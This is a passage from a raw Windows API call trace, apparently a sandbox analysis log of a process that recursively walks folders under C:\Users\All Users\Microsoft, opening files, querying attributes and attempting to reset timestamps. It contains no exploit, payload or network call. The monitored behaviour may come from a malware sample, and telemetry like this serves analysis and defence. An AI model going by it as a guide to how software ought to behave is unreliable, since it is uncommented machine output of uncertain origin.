cAlternateFileName="")) returned 1 [0091.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356680 [0091.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6b78 [0091.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356788 [0091.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.393] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0091.393] GetLastError () returned 0x12 [0091.393] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0091.393] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.393] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.393] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0091.393] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0091.394] GetLastError () returned 0x12 [0091.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1356578) returned 1 [0091.394] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1356680) returned 1 [0091.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1356470) returned 1 [0091.394] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0091.394] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0091.394] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0091.394] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0091.394] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0091.394] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0091.395] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0091.395] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0091.395] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0091.395] GetLastError () returned 0x12 [0091.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354898) returned 1 [0091.395] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354790) returned 1 [0091.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="")) returned 0 [0091.396] GetLastError () returned 0x12 [0091.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.396] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.396] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0091.396] GetLastError () returned 0x12 [0091.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.397] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.397] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="")) returned 1 [0091.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync" (normalized: "c:\\users\\all users\\microsoft\\devicesync"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.399] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync" (normalized: "c:\\users\\all users\\microsoft\\devicesync"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.399] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.399] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.400] NtClose (Handle=0x170) returned 0x0 [0091.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.401] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.401] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.401] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.401] GetLastError () returned 0x12 [0091.401] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.401] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.401] GetLastError () returned 0x12 [0091.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.401] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.402] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0091.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM" (normalized: "c:\\users\\all users\\microsoft\\drm"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.402] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM" (normalized: "c:\\users\\all users\\microsoft\\drm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.403] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.403] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.403] NtClose (Handle=0x15c) returned 0x0 [0091.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.404] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.404] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.404] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0091.404] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0091.404] GetLastError () returned 0x12 [0091.404] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.404] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.404] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.404] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0091.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server" (normalized: "c:\\users\\all users\\microsoft\\drm\\server"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.405] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server" (normalized: "c:\\users\\all users\\microsoft\\drm\\server"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.405] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.405] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.405] NtClose (Handle=0x15c) returned 0x0 [0091.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.406] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.406] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.406] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.406] GetLastError () returned 0x12 [0091.406] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", 